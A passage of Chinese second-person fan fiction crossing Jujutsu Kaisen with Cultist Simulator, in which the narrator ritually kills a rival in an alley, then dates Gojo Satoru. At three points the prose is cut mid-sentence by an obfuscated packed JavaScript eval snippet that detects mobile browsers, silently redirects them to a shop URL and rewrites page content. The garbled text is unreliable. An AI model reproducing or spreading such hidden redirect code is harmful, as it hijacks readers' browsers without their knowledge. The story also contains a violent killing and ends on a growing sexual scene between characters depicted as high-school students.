五条悟伸手挡住你的眼睛:“这书就这么好看?” “如果认真听的话,你又要疑心。”你肯定了自己心不在焉的事情:“夏油不愿意和你说又怎样呢,反而是他愿意袒露自己的情况才是少数。” “听你讲话你好像很了解他?” “你瞧,你又开始怀疑。”你扯下他的手,顺便安置在了脸颊旁边,让男朋友托起你的颈部。 给他的大手找点事做。 “嗯……我不否认!”五条悟很坦然地承认了:“你觉得事情和你有关系吗?” “你听听看,能不能不要假定一切都和性缘相关。” “那杰为什么不和我说?” “你问他呀?” “他不说。” “你再问。” “星夏你敷衍我!”五条悟的手贴到了你后脖子,隔开头发和皮肤,他在捏你那处薄薄的肌肤。 “拿你没办法,”你合上书页,随便往他身上一倒:“等夏油想说他就会说的。” 你怀疑大概不会有那么一天。夏油杰虽然温和有礼,但其下包裹的争强好胜也不遑多让,这点五条想必也有所领教。 “这是认真的敷衍?”他问你。 “放着不管不会出事的,不信你看。”你相信夏油杰的分寸,也知道他有较强的调节能力:“当然如果出问题了就当我没说。青春期的小孩子,你懂的。” 硝子最近不也在烦恼么,大家都一样,除了一位…… 你睁开一只眼睛,瞧见了五条悟怎么样都压不下的嘴角。 就他一直乐呵。 “说什么呢,杰姑且也是你的前辈。” “不知道你在说什么,我尊敬的人不在高专。”你用书籍遮住半张脸,现在阳光很好。 “你在看什么书?” “小说。” “这我当然知道,还是英语。” “高专里没有这门课,我以为你认不得呢。” “再怎么说英文字母也会认识啊!”五条悟的不高兴源于被小瞧了。 “唔,那我考考你,这是什么意思?”你指着封面上三个单词,它们分成三行,你问他:“其中有你比较熟悉的吗?” 五条悟倔强地指着中间那个。 你大概也知道那是哪个单词,当即笑出了声。 他咬着牙小声喝止你:“难得有个能超过我的东西,你可太高兴了,是不是,星夏?” 你笑得不止,头也顺着发丝和他光滑的外套滑滑梯一样往下,仰倒在他身上。 “我怀疑你在记恨上次我说你弱。你怎么那以后还是二级水平。” 五条悟愤愤不平,他说不定以后真的愿意苦练英语。 “Crime And Punishment。”而他认识and,这真的……你把书往上推了推,盖过了眼睛和睫毛:“罪与罚,凭你的阅读量应该知道它的。” 终于被抓住了你是在附庸风雅的佐证,他揪着译本不放:“你厉害,那你看俄语的啊。都不是原文,真是架不住你还要去找英语的,日文烫眼睛?” “母语舒适感。”别问,问就是漂泊旅欧,一生英伦情。 他过了一会又问你:“这书讲的什么?” 就算是大家都耳闻的名著,连扉页都没见过的人也众多。 “受无政府主义思想毒害的学生犯下了一起凶杀案,唔,两起。他逃,他自己追,他插翅难飞。经有好感的笨蛋女人督促自首,判流放8年,最后皈依基督。哦对收获爱情还有。”你在说出口后意识到了经简化的文学难逃狗血,当然,五条悟就是听了你的推荐立刻认为这是三流小说也不稀奇。 “……” 你调整了姿势,现在正正好好地枕在男友的大腿上。 “算了,我给你念一段吧。”你从脸上揭起这本并不轻薄的书,三言两语不足以道尽其中偏执扭曲的人性裂隙。 本书为一部分迷途不返的人指明了一条深渊归路,当心中的苦难被写在纸上的文字道破,当他们被看见,他们会感觉好很多。 由于晕轮效应,你能看出五条悟对书目不感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14037224|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴趣,但他很喜欢你仰躺在他腿上。如此,他低头的时候就能看见你。 你在这本纸书上留下的折痕只到一半,但你要找的内容要往后往后,直到全书将尽。 他嘀咕着:“你不会还想着给我念英语吧。”一边却温柔地帮你理顺了铺在他身上的头发。当他的指尖隔着一层乌黑的膜触到你头顶,让你忍不住舒服地眯起了眼睛。 阳光本该直直地照进你黑色的眼睛,但五条悟为你投下一片阴影。 你找到了。 你当然不会给他念英文,他又听不懂。 于是你盯着上面的字母,咀嚼词句的含义,然后啪地一声合上,把书放在胸口。 你看五条悟的眼睛,他也看着你,你轻声对他说: “【离门口不远的地方,站着索尼娅。她脸色苍白,身形僵硬,表情古怪地瞧他。 罗佳也在她面前站住。 她脸上露出病容一般的痛苦,一种绝望的神情。 她举起手,轻轻一拍。 他的嘴边就抿出一种难看的苦笑,他站了一会。 笑了笑,就回身到楼上去了。】” 接着你小声地告诉他这段小插曲的背景:“她劝他去自首,他一股脑去了,后来发现当局根本无他杀人的证据,甚至没人怀疑他。他侃了两句又脚底抹油离开警局。在门口没想到还能和她对视,因为她没走。她自己都不知道自己在等什么。” 五条悟还是在看着你,你最后说了一件在之前梗概全文的时候就说的话:“他扭头自首去了。” 这次是真自首了。 五条悟眨眼睛,两片睫毛像蝴蝶挥振翅膀。 “这里没有什么艰深的文字游戏,也不拗口,不过人性和一点爱情的苗头就都在搅拌里面。”你也对他眨眨眼,当然,你的眼睛不像他的一样亮晶晶,睫毛也不是浓厚的淡白。你就着近期的读本对男朋友总结: “导致这场自我披露的不会是爱,而是忏悔。导致自我披露的不会是忏悔,而是颓败。导致自我披露必不是颓败,而是漠然。置他于监牢的必不是漠然,终究还是爱。” 五条悟弯下腰,扶着你的额头,亲吻你。 等他抬起身子,他眼中有了活泼的神采:“如果你以后做了坏事……”想也知道不会说什么严肃的话。 你开始向好人五条悟讨饶:“放过我吧。” 陀思妥耶夫斯基活了多久?在他死亡的时候你还没出生,但你熬过了地球上十月革命发生的那年,又眼见苏联崩塌。 你活的比他久。 审判他人是一门复杂的命题,你不审判。你只是有选择地使用手中的刀而已。所以你不颓废,不空洞,也不追悔。 说起来……也是很久之前的事情啦,现在你干上了新的行当。 68.第 68 章 2、反重力 在下周一,你和夏油杰的那次任务正式开始之前,你没想到,竟能短暂迅速地了了一桩事情。 这事情断断续续缠着你有一阵子,从去年圣诞你们第一次交锋,到如今的入秋时节。 原本,你在这个周日的晚上和五条悟有场约会,他在市里定了餐厅。 你从久违的地下室里出来见到阳光,往浴室方向走的路上,正见到擦着头发,脸上还有水珠的岩守。 “日安,铃木同学。”她熟络地对你招手。 你点头:“下午好。”接着就要走。 等你也挎着篮子出来的时候,岩守知子还在外头逗留。 真是稀奇,这些辅助监督没有自己的生活吗? 还是总监部给他们压的担子太少。 你在阳光遍洒的正午世界,心中阴暗的想法和高层的部分掌权者不谋而合,共同驰骋了半个奴隶制,最终随目光回落到她温柔的脸上。 在外头喝了一杯售货机咖啡的辅助监督问你:“想来瓶咖啡吗?铃木同学,我请客。” 她的双眼被阳光缝上,暴露在外面的一点点也透露出狡猾的光。 你婉拒了这个不好的邀请:“不用了。” 喝岩守知子的东西,约等于在酒吧里点了一杯后离席十分钟再回来续饮。 100%不安です。 她又邀请你去外面走走。 你拒绝了,这次你还编了个理由:“晚上约会,得提前三个小时沐浴梳妆。”掐指一算现在正好是闲来无事的下午。 岩守问你,这时候你正在移开目光看茂密的树,还有夏天栖息在树荫的鸟儿。你根本不打算理她。 “我以为你会说【我们一点也不熟】。” 她不是心里有数么,你动也不动,采纳此说法:“哦,那我们一点也不熟。” 好,话又抛到她那边,她就很伤心地低首,声音也泫然:“那你一定是对我有了误解,铃木同学。” 你不奉陪了。 “好女人约会之前一定要打扮自己。”你太坏了,现在你打算跑路然后出校门在山里晃悠,晚上坐平价的巴士出行。 你念叨着这种谁也不信的话就错身离开了这个地方。 不管岩守想做什么,你决心不搭理她。反正这事情现在由据说很靠谱的冥冥带薪负责,你再多有点松弛感夜无妨。 “难道你就不好奇我会在那天去山里的任务报告上怎么写吗?” “你想怎么写呢?”这个人根本都没上山,写个总结真是为难她了。 现在看起来是她要为难你。 “这要取决于我从铃木同学你那里得到了什么样的信息。” “……”说来说去,岩守找你有事。 你才不搭理她:“没什么事情的话我先去沐浴焚香了。” 你刚从浴室出来,发梢的水珠已经落满了肩膀。 爱怎么写怎么写吧她。 捅破天也就是绝境里爆发巨大能量。这会你开始停止想念七海,而高兴于他的离开了。 这个想法并不高尚,但胜在便宜而一劳永逸。 你挑衅一样每一步都发出动静的时候感觉身体都轻盈,皮肤微微发热,水珠也都在空气里蒸发。 一步一响是告诉她你坚定不移的决心。 你在宿舍里用炉火烘干了头发,又用发油减缓了这一方便举措的副作用--干枯毛躁,完成这些之后你就简简单单出了门,乘上往市区的公交。 但你低估了她今天要找事的决心。 一小时后,在一家街角的面包店里出来,你手里的纯白乳酪掉在了地上,你看着眼前好整以暇微笑待你的女人,有一瞬间怀疑现在疑似还在高专。 “呃……你到底想干嘛?” 这个问题显示出了你被她弄得稀里糊涂,而且略微急躁。 “想跟我走走吗?”岩守知子的嘴巴里有条蛇信子,现在嘶嘶作响,而她的尾巴,似乎你能够瞧见从西装后面蔓延出来的长条节状的软鞭,在地上拍出有节奏的一声一声嘎嘎。 你的意思是,宛如一条毒蛇盘踞阵地,好整以暇。 “不想。”你掉头随便选了一条小巷进去,运气好的话你能从城市里另一个出口绕到繁荣的市区,运气不好就过会再从这里出来。 不管这家伙要做什么,你不搭理就好了。 然而,她嘴巴里冒出的一个你难以抗拒的字眼,像拉拽绳子一样拽住了你的目光。 你不得不像舞台人工照明一样,在人来人往的千万观众中选中她。 “抱歉,你说什么?”你用提面包袋子的那只手撩了撩头发。 这名字有点熟悉,是谁的曾用名来着? 哦,是你的。 岩守知子对你露出一个饱含深意的微笑,你只觉得她在说:“抓住你了。” 她实际说出来的话是:“跟我来。” 一个许久没有冒头的想法在你脑袋里发了芽。 你做好准备,跟她走了。 主要是心理准备,你不明白岩守想找你做什么,实际也不需要清楚,只要……她也能一劳永逸就好。 你跟在她后头,一步一步,她放慢了脚步。直到你们步履重叠,她还颇为亲热地挽着你的手。 岩守说了些什么都不太重要,反正她和她不知道从哪得来的秘密很快就付之东流,而水总往下走。 巧了,生命的陨落也是一样。 “铃木同学,你有在听吗?真是的,在对话中分神可不好。”岩守把你带离了人群,带离了热闹的市区,她还透露给你除了极度松弛以外的事情,她说:“你自己愿意出来可省了我的许多事情。” 出哪,高专吗? 不过这也刚好说明她找你也有事情,目的有概率和你现在想的事情相同。 说到高专,除了天元结界和急速支援外,你也想不出什么额外主场优势。 坏人做事总要挑个没监控不留痕的地方,你可太理解了,分分秒秒领会。 如此同出一辙的目的还有彼此即将心知肚明的心意,你不得不会心一笑。 在敲定方案之前,你定了心神,在她说出20世纪20年代的更多事情之前分享了你的小发现:“岩守,你以前有没有玩过那个游戏?” “游戏?不,我对电子游戏涉猎不多,9宫格打字都费劲。要是以后能出更多按键的键盘就好了。” “不是那个啦。”你空出另一只手,在你们两中间伸出手掌,“很多人小时候都玩过的。” 你给她演示。 “像这样,两个人掌心对掌心,一人朝天,一人朝地……下面的那个要翻上来趁对方不注意打她的手背。”然后你一巴掌打在了她的手背上,迅速收回手:“反应能力大比拼。” 大部分人都曾经听说过的打手背小游戏,需要玩家少,条件简单,时间也快,风靡全球。 “你赢了。”她的配合程度相当高,不过也领会了你的意思:“确实很像,和我们如今的情况。” 如此,你们就算是达成了共识。 不过这件事情没有持续太久,她开始又回到自己的主旨上:“墨洛温夫人,或许我该这样叫你。我曾经在报纸上见过你的讣告。实在是……版面盛大。” 不管她怎么想的,你都摇了摇头,不是对那段懒得提及的往事,而是让她瞧身后。 你讲话也非常复古:“看,天上有东西。” 岩守知子经你的提醒竟然也毫无戒心地回头,可她反应倒像是真的发现了UFO,她看向你的眼神里有了惊讶,还有了然的微笑。 “铃木同学,原以为这大概是我最后一次这样叫你。不过看起来……” 你才不管她实际想故弄什么玄虚,也懒得管她悟到了什么,天上只有红云,从你这方向往那看,高处也只有电线杆。 怎么看都只不过是个寻常的傍晚。 你只需要调动她片刻的注意力罢了。 岩守不吝啬于一两句好话,她的脚步也不停,可你又已经站在了原地。 分秒间你们的距离又能挖一个沟壕。 你说:“我都活了这么多年,当然是聪明的。看起来你也不遑多让。” 岩守好整以暇,两只手在背后绞出一朵花,在你眼前暴露无遗。死亡之前的松弛感令你想起了灰原那天,不过今天这个人,不会有好运来救她。 她活过多久,用这种寄生的方法辗转了多少地方?这都不是你要考虑的事情,今天的你心情不错,愿意尝试一个从来没拜请过的新方法。 岩守的嘴巴开合,声音不大,不过你的注意力早就被蜘蛛之门吸引,你即将用上积攒的诸多咒灵,送给她一个深不见底的永恒梦乡。 你忽然对着小巷里她的方向跪下,两只膝盖前后噗通落地,发出苹果坠地的闷响。 “铃木同学,你这是--” 你低下头,俯首,亲吻脚下的大地。 岩守的疑惑没能持续太久,直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14067855|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她脚下的地面开裂。 你在拜请一为名为拾滩鸦的司辰,它常以漆黑蒙面的乌鸦现身,是被赤杯擢升的一位鸟形司辰,兼具杯与启之力。 祂和蜘蛛之门关系紧密,也喜欢贡品。 现在,祂接受了你的请求,愿意为你在此地给一名不知天高地厚的小人物送上祝福。 你先抹了抹嘴唇,再站起来拍拍膝盖,遵从自上而下的顺序。你好整以暇地看着一脸茫然震惊的瘦小女人。 她穿西服很英气,颜色也适配葬礼。 “【滑下去,就能到达极乐的天堂。】你在挣扎什么呢,岩守小姐?”你开始随口引用一些根本不适合用在这里的话,如此让她脸上滑稽的表情更灰败:“你为什么看起来这么震惊,这么不可置信,不是你先一而再再而三搜寻我的信息的吗? 我们本来可以不这么早赤诚相见。” 你轻巧地落在她根本没办法维持站立的地方,岩守脚下的土地仍然存在,只不过被拾滩鸦剥夺了感知它的权利,掌管洞开大地的司辰也同样擅长窃取--不过小偷都不爱被指认,你才不会把这种心里的腹诽说出来。 你对司辰都一向敬爱有加。 她的挣扎和试图调整重心都是罔然。 不过你总觉得岩守或许不是看上去那么简单--你的意思是,她比她现在让你怀疑的地方更深不可测。你仍然没忘记这是一个企图毁灭世界的人。 或许有偏差,但她如果要行自己的的理想,那就不得不先摧毁这个世界原有的规则,以及依附在上头的肌肤汗毛一样的人类和文明。 巧的是她还不笨,如果她知道自己要做什么,就会有邪恶的计划。如果她有与野心相配的头脑,最后还免不了司辰亲自过问。然而在那之前,她偏偏先惹了你。 更多的你就懒得想了,人死了一切都是空话。所以这件事也就愉快地到此为止。 你拿出了祖传的大宝贝,怀里焐热的刀锋冷如玉镜,微露寒光。 “……”岩守已经没有再说一句话了,她甚至停止了挣扎。 不过靠她近的时候,你感受到了自己也变得稍微轻飘飘。 怎么回事? 不管了,你沿缝合线插入了刀,她的脑袋被你压得向下,可眼神向上,似乎要见证那个把她结果的人的全部。 看清楚又怎么样,看不见又怎么样,你微笑着为此人送行。 你还为这个不喜欢你引用圣经的人吟诵起挽歌: “【他们脚下的地就开了口,把他们和他们的家眷,并一切属可拉的人丁、财物,都吞下去。 这样,他们和一切属他们的,都活活地坠落阴间;地口在他们上头照旧合闭,他们就从会中灭亡。 在他们四围的以色列众人听他们呼号,就都逃跑,说:恐怕地也把我们吞下去。】” 今天所有抽象的冷笑话全被你说完了,岩守身下虚无已化为细沙,流淌间要将她吞没得一干二净。你拔出刀锋后接着欣赏她被吞没的场景。 从头到尾,她都没再和你说话,没呼痛,没质疑。但她的目光依旧像毒蛇。 你笑问她,笑容罕见的阳光灿烂,映衬的高中生的模样:“让我考考你,上面这一段是出自旧约还是新约?” “铃木星夏,我会记得你。”砂砾似虫潮一样入侵了岩守的口鼻,即便如此她还是不屈地突出了冷硬的字眼。 你做了一个恰当的举动-- 在她彻底被拖曳入地以前,你将匕首飞了出去,正中她的头顶,从头骨直直地捅穿了进去。 岩守知子发出今天的,也是她的新生的第一次嚎叫。 而你无法和蜘蛛之门争夺任何东西,你永远的失去了你的刀。 不过你也不后悔,原因很简单。 “你的脑袋都削没了,怎么还能说话呢?” 此人必定有异。 而武器都是身外之物,你会锻造新的。 现在,好奇对方的奇妙脑袋哇为时已晚,缄默的岩守和她的秘密都已经深埋地下。 即便挖掘六尺也不会有任何发现--说到这个,以前那些用棺材的葬仪,他们是真能挖墓地。 害你花费了好久才从下面打破棺材掏出自己来。 还是现代好,一把火全能给他们烧咯。 你离开的时候还回看了一眼小巷的风景,电线杆与高压线框定了残阳如血,黑乎乎的小巷初现雏形。 你走过阴影的地方,踏入光洒满的大路旁。 69.第 69 章 3、前夕的约会 你忘记带上了面包。 你在瞧见男朋友的时候才想起来这事情。 他和你说:“我都饿死啦,简讯里说好的犒劳呢?” 显然,你两手空空。虽然五条悟瞧不见,但能顺利插进卫衣口袋里的两只手上塞不下面包。 你在这里运用了一个并不巧妙的说法:“在我的手正式抽出来之前,你是不可能知道有没有面包的。 也就是说,目前我们正处在一个面包既有又没有的叠加态中。” “再说下去猫就真的会死了,喵。饿死。”五条悟的意思是,想指望你办点事情可难得很。“量子力学可管不到你买东西。” 五条悟拉着你的手又絮絮叨叨说了些什么“我可是一出帐就直奔这里”“如果没有东西吃就会供能不足”“早知道我就自己准备巧克力”之类之类的撒娇。 幸好他没抱怨诸如“你怎么什么都做不好”的话。 你方才出来一看,这些日子的积蓄全给岩守这个女人掏空了,也可能是拾滩鸦太过贪婪。 她到底什么来头?一贯不和死人计较的你也纳闷。 你叹气:“要是物理学能解释……就好了。” 你对今晚兴趣缺缺,胃口也寡淡。 五条悟在餐厅中不顾侍应生劝阻要和你并排着座。 在餐前,你饮用了一些他们惯常会提供的香槟。 而在你天真稚气的男朋友选择了【可乐】之后没多久,经理就歉意的送上了一般不轻易送人的法甜,请你们去更靠里的清幽卡座就坐。 你告诉他:“你不够光鲜。” 他反问你:“你不也穿着校服?” 好吧,各种各样的原因,你由着五条悟挽起你的胳膊,也开始感到疑惑:“那他们怎么没把我们赶走呢?” 大堂经理在你们前几步引路,脚步一个踉跄。 无人在意。 五条悟向你展示了他样式与一般不同的银行卡:“好像在东京只有很少的人有这样卡面的信用卡。” 信用卡? “……你还没到能办的年纪吧?” “我也不知道啊,家里人快递寄到高专的,说是只要我新年愿意回去京都一趟。” “你怎么了,星夏?” “头好晕,一定是有人在我耳朵边念咒的原因。”你领悟了,和有钱人谈恋爱,看别人过好日子就是你的宿命。 嗯……至少这个人品好。 你并没有表现出很明显的郁郁不乐,然而坐在靠墙角一侧的五条悟还是发现了你的心中烦乱。 他的下巴搭在你肩膀上,呼出的气就蹭你颈间皮肤,语气餍足而缱绻:“你最近做了什么?” “那可是做了很多事情。”你细数自己在漫宿的行径,又想到了今天失落的刀和祭品,忍不住叹气。 五条悟和你的认知存在鸿沟一样的差距,他吭哧一声笑,其中你还听见了嘲讽:“除了,这周的两个市内委托任务?” 真稀奇,他刚才不还是想倾听你的苦恼的吗?现在可见他也不觉得你会有什么忧愁,才出口这样说。 你歇了想转码和他吐露一二的心思。 心中暗想:秘密之所以是秘密,就是因为它只有一个人知道。再多一个就不好说啦。人家随口问一两句,你就真的想招供,难不成真是最近的一系列事情引得脑袋发昏,自己也管不住自己可不好。 用餐过后,你歪过头去亲他。 在你不打算坦白的时候,指望别人理解你也是奢求,这事你早有觉悟。而且依照社会公德看,你行的一些事情不算高尚。 比上不足比下有余,你觉得自己把岩守干掉这件事情至少功德+10000,只是实在缺乏站得住脚的论据。 警方一般也不在犯罪行为实施前进行死立执。 等你们嘴唇分开的时候,你脸上开始带着笑意了。 五条悟摸了摸你的脸颊,又凑过来像鸟类啄食一样用嘴唇轻轻碰你的嘴角。 “你在笑么,星夏。为什么我觉得你其实并不太开心呢?” “说不上开心或者不开心,生活嘛,能免于劳苦奔波已经足够。”高专本身的生活于你而言绝对算安逸,你冲男朋友wink,在年轻的面庞上,表情也灵动了起来:“怎么说以和平为基调的21世纪也是个盛情难却的邀约,只不过我还没有特别习惯融入进去。” 你又在说一些惹人听不懂的话了,他评价你:“老气横秋的,七海退学让你变老了10岁有吗?” “和七海没关系吧,他大部分原因是总监部,小部分是那次任务,最后最后才是我。”这点你确信,你在退学中造成影响的占比不足10%。 微调世界观不至于让人奔着虚无主义撞上去。 “那是什么在让你分心?”他问。 你其实并没分心,只不过才刚刚从一个小巷子里出来,现在就到了这里,收手一年后又有突发情况,难免有些恍惚。这场景……你忍不住想到你和五条悟初次见面那天晚上的再相遇。 对于一个就住在现场的人,他们竟然都不认为你很可疑。身份所限,咒术师看见的更多是残秽。 你转移了话题问他:“你想不想去做点有趣的事情?” “……” 显然,你的男朋友会错了意。 他义正言辞地用略带严肃的腔调质悄声问你:“怎么可以用这种语气说出这么糟糕的话呢?” 但他一向喜欢也做些削弱威严的事情,说完以后就拿起你的手,低头用他的脸蹭了蹭手心。 五条悟的脸是滑溜溜的,听说他不用护肤品,平时也只用清水净面。你不由感叹:“你能顺利长到这么大还真是谢天谢地了。” 青春期的激素和油脂分泌难道不会导致粉刺和痘痘吗?怎么高专似乎谁也没有这方面毛病,药妆店赚不到高专人的钱。 “?”他睁大的清澈眼睛似乎在问你,怎么突然说这个。 你的拇指摸上了他细长卷翘的雪色眼睫,在你们脸贴着脸的时候,有时它会扫到你的肌肤上,带来轻微瘙痒。 现在,它的主人因为你的抚弄闭上了眼睛,小声问你:“呐,你又想干嘛呀星夏。” 不想干嘛,你就顺手摸两下。 忽然,白皙皮肤的帷幕拉开,露出纯净天空蓝色的瞳孔,五条悟像是眼睛前面什么也没有一样自顾自地这样看你:“我们去看烟花怎么样?” 你没管他的又一次突发奇想,手指还试探性往里戳了戳。想象中可能会发生的染血的场景并未发生。无下限术式很好地发挥了保护作用。 他轻轻地拍你手腕:“不是吧,你不想看烟花可以说,别这样,星夏。” “我就是好奇。”你收回了手,“看到一块漂亮的宝石任谁也想摸一摸。” “你让我想起了那个漫画,里头有一个……就是……有个角色眼睛红红的很漂亮,然后被屠村只剩了最后一位幸存者的那个。”五条悟捉住你的手腕,不让你再做出什么“心向往之”的事情来。他故意做出心有戚戚的模样,补充到:“星夏,你好恐怖。” 你根本没瞧见他害怕。 你答应了他:“哪里的烟花?现在天还没暗下去,但花火大会在关东地区也不是哪天都有。” “我上周就看见了网上消息,都港区就有。”说完这句,五条悟又贴上来邀功一样等你的赞赏:“哼哼,本人可是准备地相当充分,哪像某些人,一说起娱乐就只有那种事情。” 那种事,哪种? 你不明所以。 没等你回应,他自己倒是红了脸,似乎决定不用那句话结尾,又数落了你一通,急匆匆地:“面包也没记得买!” “莫名其妙就蒙受了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14085395|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不白之冤,你还真是……”谁跟他【那种事情】了?你怎么不知道自己还想着这个。你只不过语气轻了一点,口吻神秘了一点,其他,可什么都没暗示。 不过两个人谈恋爱,讲不明白的事情太多,你也不和他一条一条细掰。 “我讲话就这样。”你做了一句总结,然后问:“我们怎么去?要逃票吗?” “……谢谢,我早就买了!” 早就买了?你们携手走在已经闪烁各色灯光的街上,虽然天色还没完全暗下来,你侧目瞧向五条悟:“你不会--在此之前也……” 到了公共场合,各色声音喧嚣入耳,他的吵吵嚷嚷也就融进了车水马龙的街上:“也就是一不小心买了几次但是一次都没有邀请你而已。” 他很少说话这样快。 你懂了:“你在害羞吗,小悟?” “喂!”被你突然又喊了名字的男朋友很不满,“每次只有在这种时候才愿意那么叫我,你这是闹哪样啊星夏!” 你又懂了:“你是希望我一直叫你的名字吗?” “……”五条悟噤声。 你开始坏心眼,嘴巴里吐出两个疑惑的字眼:“前辈?” 这个陌生的词汇在你们间已经很久不使用了。 忽然之间,你被术式的牵引力扯到他身前的臂弯里,那里还安置着五条悟早有准备的手掌,他几乎是托着失重的你的腰,趁你发丝还在加速中向后摆的间隙,脸就压了上来。 五条悟埋在你的颈窝里,鼻尖磨蹭着你的脖子,他正压抑着,但是又很生气地和你倾吐:“你就是故意的,你这个坏心的家伙。” 然后他自暴自弃一样地承认,声音只到你的耳朵里就不再外传:“是是是,希望自己的女朋友叫自己的名字难道是什么值得羞耻的事情吗?我就是很期待,怎么了!” 最后的声音阴恻恻:“你有意见吗,星夏?” 挺好玩的,五条悟这个人。 你也磨蹭着他的脸,感受脖颈处的痒意,再之后,你感受到一阵濡湿。 还有吮吸的力道和声音。 …… 幸好你们都没忘了这还是人来人往的大街,五条悟很快站直了起来,在你旁边一步远。 他抿了抿嘴巴,评价这个一时兴起的行为:“咸的。” 你很少对人做出动手这种事情,因为如果对方不死掉或者怎么样,这件事情就几乎毫无意义。不过此时此刻,你一巴掌朝他胳膊乎了上去。 “请你时刻注意自己还是个灵长类动物。”说完你也不管烟花的方向了,直接往反方向走。 当然,五条悟会来追你,他会拉住你的手,让你止住脚步。 他也确实这么做了,还一派天真地问了你那个问题:“不舒服吗,我以为我的吻技不错。情侣之间有点吻痕也是很正常的事情嘛!” 他甚至还想撩开你的头发看方才被他吮咬的地方。不慎摸到了你的耳垂,突如其来的触感让你觉得很……电流一样流窜在身上。 你觉得事情稍微有点不受控制。主要是你的感觉,它有点不听指挥了。 于是退开一步,没做多余的表情,平淡说明:“没什么感觉,你下次不要这样。” “诶?”他脸上一团坏笑,一只手抱起你,又把你卷到怀里:“刚刚听你的语气,还有脉搏,我倒觉得星夏你喜欢得很!” 在你低下头的间隙,他得偿所愿看到了自己想看的东西:“时间不够么,好像没有很深。” “……因为淤血要过会才显现。你要是没事可以拿两本医学概论看看。” “我们星夏不愧是专业人士。”他又低下头亲了你一口,这次的位置是隔着头发的你的耳后。 然后五条悟的声音平静下来,认真而不复轻浮,邀请你:“时间差不多了,我们去看烟花?今天的天气很好。” 70.第 70 章 4、你会觉得我臭臭的吗 你们去看了烟花。 体验感先不提,人潮汹涌的地方谈不上令人心情愉悦,显然男嘉宾的心思也不在夜空帷幕绽放的绚丽花火上。 靠着他的术式,你自在不少,于是在下一束五光十色的烟花炸开前,你就附在他耳边:“虽然也就这样,但这也算圆了交往那天的未完结故事,我们接着去做什么?” 五条悟对你的语言表述颇有微词:“什么叫也就这样,星夏你这是什么意思?” “意思是……”你稍微踮起脚尖,唇瓣含住他因侧耳倾听略微低下的耳垂,上下唇翕动在嘴边厮磨了一番才放开。 你的男友肌肉紧绷,但维持不动,他很期待你的下一步反应。 你终于松开了他,又朝耳朵里吹了口气才缓缓道:“和你在一起这件事情比烟花本身有价值许多。” 五条悟把你抱在怀里,身边的陌生人很快填补了你原本人在而如今空出的位置。 更拥挤了,虽然,你感知到的所有压力都是五条悟带来的。 他紧紧地搂着你,过了片刻,才询问:“你不想看了,是不是?” 比起这个说法,更像是他对你们接下里的事情有了主意。 反而问起你来了? 你们在摩肩接踵的人群中,但此时的空气也不比无人区雪山的更稀薄。 所有人都在看噼啪盛放的短暂光华,但你们在光下无人问津的暗处相拥。 你觉得很新奇,于是顺着他说:“嗯,不想了。已经足够了。” …… 但当你被拉进小巷子里的时候,起初还想告诉五条悟,你说的不想之后事情可和即将发生的一点关系也没有。 不过当你听见迫切的喘息声,还有紧紧靠着你的另一人吞咽的声音时,你忍不住开始回顾你们的对话,事情到底是怎么发展成这样的呢? 今天踏入暗巷的频率也太高了。 “说好的【一说起娱乐不能只有那种事情】呢?” 当五条悟温热的手心托住你的后脑,热意透过发丝抵达头皮时,你伸出食指堵住了他即将来访的嘴唇,问他。 他嘟囔了一声,表示轻微的反抗,你仔细听,发现他在小声说:“明明就是你……” 你觉得好笑:“我怎么了?” 这给了五条悟勇气,指责你的勇气:“你勾引我!” 他很小声的,恶狠狠地朝你抱怨。 这可真是稀奇,你清明的脑袋运转起来,很快就想好了应对的话术。 “你瞧,小悟,诚然我是一个很有魅力的女人,然而在你我之间,你毋庸置疑才是容貌和身材更出挑的一位。 这么说来,明显我接受的诱惑更多。怎么到了你嘴巴里就成了我勾引你呢?” 你最后又冲着他靠的十分近的脸庞轻轻吐气:“你要不要反思一下是不是自己的定力不佳?” “我是你男朋友,要什么定力。”他又小声这么说着,明亮的眼睛成了这里唯一的光源。 你回想起你们的第一次接吻,也是在没有光线的黑暗中。 这次,你主动向他靠过去,抬头贴上了五条悟的嘴唇。他已经等你很久了。 “嗯,不需要。今天,我们都会很愉快的。” 这是你最后说的话。 五条悟没来得及问你这是什么意思。 你带五条悟领略了一番口与舌能抵达的最艰深的奥秘,叫他知道真正的诱惑应该是何种形状和质感。至少,应该是红艳艳的颜色。鲜红、光滑、潮湿。 你趁他呼吸一抖一抖的时候在他失神的眼睛上烙下一个吻。 这时你的手已经落在了他衬衫的最上面一个纽扣。 一两声窸窣的摩擦,他领口变成v,敞开如邀请你进入的门户。 他的皮肤光滑有弹性,饱满的弧度吸引着你进一步探索。 